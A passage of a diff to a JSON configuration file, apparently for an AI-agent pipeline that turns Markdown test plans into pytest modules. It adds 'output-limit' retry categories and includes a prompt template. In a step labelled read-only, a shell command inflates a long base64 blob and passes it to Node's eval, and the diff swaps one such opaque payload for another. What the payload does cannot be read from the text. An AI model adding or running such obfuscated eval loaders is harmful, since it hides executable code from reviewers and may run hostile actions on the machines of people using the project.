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','base64')).toString('utf8'))\""
199
200
  ],
200
201
  "timeoutMs": 60000,
201
202
  "cwd": "."
@@ -278,7 +279,8 @@
278
279
  "maxDelayMs": 30000,
279
280
  "retryCategories": [
280
281
  "writer-empty-diff",
281
- "incomplete-write-set"
282
+ "incomplete-write-set",
283
+ "output-limit"
282
284
  ]
283
285
  }
284
286
  },
@@ -330,7 +332,8 @@
330
332
  "maxDelayMs": 30000,
331
333
  "retryCategories": [
332
334
  "writer-clean-timeout",
333
- "context-overflow"
335
+ "context-overflow",
336
+ "output-limit"
334
337
  ]
335
338
  }
336
339
  },
@@ -394,7 +397,7 @@
394
397
  "writePolicy": "read-only",
395
398
  "shell": {
396
399
  "commands": [
397
- "node -e \"eval(require('zlib').inflateRawSync(Buffer.from('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','base64')).toString('utf8'))\""
400
+ "node -e \"eval(require('zlib').inflateRawSync(Buffer.from('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','base64')).toString('utf8'))\""
398
401
  ],
399
402
  "timeoutMs": 60000,
400
403
  "cwd": "."
@@ -446,7 +449,7 @@
446
449
  "verification-before-completion"
447
450
  ],
448
451
  "complexity": "MED",
449
- "subtaskPromptTemplate": "Convert the single frozen Markdown module `{{item.markdownPath}}` into one self-contained pytest module. Before writing, also read the run-owned Markdown plan artifact at `{{item.planReadPath}}` and use its explicit API target/environment table as the authoritative fallback base URL for every module. A task/Markdown `API_BASE_URL` target takes precedence over project README dev-server URLs; never infer a backend API fallback from a frontend/Vite port such as localhost:3000. After reading the module Markdown, the run-owned plan artifact, and the bounded pytest config/conftest, immediately use write tools to create the single frozen file `{{item.pytestPath}}`. Define any bounded HTTP client fixture, request logging/redaction/truncation helper and payload builders needed by this module inside that same file; do not import generated testcase/**/helpers/** or testcase/**/factories/** assets. Do not end after analysis or planning. Do not modify Markdown, conftest, helpers/factories, or any other module's pytest script.\n\nOutput budget protocol (hard, max output <=16K per turn): Write exactly the frozen `{{item.pytestPath}}`. Never paste full Python modules into assistant chat. Do not merge or split modules. Do not reduce params/assertions/skips to fit. If OUTPUT_LIMIT_RECOVERY is injected, continue only listed missing/broken scripts.\n\nAlign every variant pytest.param payload with the Markdown scenario intent (empty/missing/null/length/pattern/enum/wrong-type/nominal). Prefer literal payloads over Faker for intent-critical fields so pre-execution scenario-param checks can verify them. Hard contract: intent=enum-invalid MUST pass a concrete invalid value literal (string/number/boolean), never `_OMIT`/None/missing key; intent=missing/empty may use `_OMIT` or delete the key; intent=custom-literal:trim|whitespace-padded requires a leading/trailing whitespace string with non-empty trimmed content (all-whitespace belongs to empty/whitespace-only, not trim); intent=custom-literal:ACTIVE|ARCHIVED requires the exact enum string, never descriptive tokens like filter-active; intent=max/min/max+1 should pass a repeated-string length expression, a bare length number N, or a helper named _*_LEN{N} / _*_MAX_LENGTH / _*_OVER_LENGTH — never a bare 1 